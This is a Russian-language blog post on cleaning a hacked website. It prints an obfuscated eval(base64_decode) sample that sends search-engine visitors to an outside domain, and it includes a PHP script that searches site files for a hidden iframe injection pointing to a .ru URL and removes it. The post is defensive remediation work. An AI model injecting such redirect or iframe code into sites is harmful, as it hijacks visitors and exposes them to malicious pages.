Удаление кода вируса в файлах на сайте

Если вдруг в файлы на сайте вирус сделал примерно такую запись:



eval(base64_decode("DQplcnJvcl9yZXBvcnRpbmcoMCk7DQokcWF6cGxtPWhlYWRlcnNfc2VudCgpOw0KaWYgKCEkcWF6cGxtKXsNCiRyZWZlcmVyPSRfU0VSVkVSWydIVFRQX1JFRkVSRVInXTsNCiR1YWc9JF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddOw0KaWYgKCR1YWcpIHsNCmlmIChzdHJpc3RyKCRyZWZlcmVyLCJ5YWhvbyIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsImJpbmciKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJyYW1ibGVyIikgb3Igc3RyaXN0cigkcmVmZXJlciwiZ29nbyIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsImxpdmUuY29tIilvciBzdHJpc3RyKCRyZWZlcmVyLCJhcG9ydCIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsIm5pZ21hIikgb3Igc3RyaXN0cigkcmVmZXJlciwid2ViYWx0YSIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsImJlZ3VuLnJ1Iikgb3Igc3RyaXN0cigkcmVmZXJlciwic3R1bWJsZXVwb24uY29tIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYml0Lmx5Iikgb3Igc3RyaXN0cigkcmVmZXJlciwidGlueXVybC5jb20iKSBvciBwcmVnX21hdGNoKCIveWFuZGV4XC5ydVwveWFuZHNlYXJjaFw/KC4qPylcJmxyXD0vIiwkcmVmZXJlcikgb3IgcHJlZ19tYXRjaCAoIi9nb29nbGVcLiguKj8pXC91cmwvIiwkcmVmZXJlcikgb3Igc3RyaXN0cigkcmVmZXJlciwibXlzcGFjZS5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJmYWNlYm9vay5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJhb2wuY29tIikpIHsNCmlmICghc3RyaXN0cigkcmVmZXJlciwiY2FjaGUiKSBvciAhc3RyaXN0cigkcmVmZXJlciwiaW51cmwiKSl7DQpoZWFkZXIoIkxvY2F0aW9uOiBodHRwOi8vY29zdGFicmF2YS5iZWUucGwvIik7DQpleGl0KCk7DQp9DQp9DQp9DQp9"));

нужно пройтись по всем файлам на сайте и удалить добавленный код.

Пройтись по файлам можно с помощью php скрипта. 

Например, такого скрипта с сайта www.habrahabr.kz/blog/768.html

Пришлось немного поменять скрипт, потому что он удалял несколько больше чем вставленный вирусом код.

Получился вот такой вариант скрипта для удаления вируса в файлах на сайте:

 

<?php

//Virus removal script by OSA

//v1.1 31.10.2010

//jdevelop.info 29.01.2012


$virus_text = '<iframe name="SagUTeXYne" src="http://skysell.ru/kx/index.php?out=1331605369" marginwidth="1" marginheight="0" title="DYvynEXUZe" border="0" width="1" frameborder="0" height="0" scrolling="no"></iframe>';

$skip_files = array ('delvir.php');

$del = false;

$dir = getcwd().'/';

$num_infected = 0;


function dir_walk($callback, $dir, $types = null, $recursive = false, $baseDir = '') {

    if ($dh = opendir($dir)) {

        while (($file = readdir($dh))!== false) {

            if ($file === '.' || $file === '..') {

                continue;

            }

            if (is_file($dir . $file)) {

                if (is_array($types)) {

                    if (!in_array(strtolower(pathinfo($dir . $file, PATHINFO_EXTENSION)), $types, true)) {

                        continue;

                    }

                }

                $callback($baseDir, $file);

            }elseif($recursive && is_dir($dir . $file)) {

                dir_walk($callback, $dir . $file . DIRECTORY_SEPARATOR, $types, $recursive, $baseDir . $file . DIRECTORY_SEPARATOR);

            }

        }

        closedir($dh);

    }

}


function del_virus ($fdir, $ffile)

{

    $flag = false;

$filename = $fdir.$ffile;

echo $filename;


if (!in_array($ffile, $GLOBALS['skip_files'])){


$handle = fopen($filename, "r");

$fsize = filesize($filename);


if (!$fsize){

$contents = '';

}else{

$contents = fread($handle, $fsize);


}


fclose($handle);


if (strpos($contents, $GLOBALS['virus_text']) !== false) {




if ( $GLOBALS['del'] ) {

$contents = str_replace($GLOBALS['virus_text'], '', $contents);

$handle = fopen($filename, "wb");


fwrite($handle,$contents);

fclose($handle);

echo " - deleted";

}


echo " - infected";

$GLOBALS['num_infected']++;

}




}else{

echo " - skipped";

}


echo "<br/>";

};


dir_walk('del_virus', $dir, array('php','php5','html','htm','shtml'), true, $dir );


echo "Num infected = $num_infected <br/>";

?>

Предварительно нужно сделать архив всех файлов!